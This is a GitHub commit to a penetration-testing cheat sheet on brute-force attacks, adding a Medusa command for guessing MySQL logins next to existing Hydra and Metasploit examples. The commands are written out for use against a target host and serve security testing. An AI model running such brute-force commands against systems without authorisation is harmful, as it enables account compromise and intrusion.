Update brute-force.md

- This change is in regards to adding the usage of the Medusa tool for MySQL login brute force.
This commit is contained in:
Viren Pawar 2021-11-21 12:03:07 -05:00 committed by GitHub
parent 9c437e0d6b
commit 21ca123d2c
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 6 additions and 0 deletions

View File

@ -207,8 +207,14 @@ use auxiliary/scanner/mongodb/mongodb_login
### MySQL
```bash
# hydra
hydra -L usernames.txt -P pass.txt <IP> mysql
# msfconsole
msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false
# medusa
medusa -h <IP/Host> -u <username> -P <password_list> <-f | to stop medusa on first success attempt> -t <threads> -M mysql
```
### OracleSQL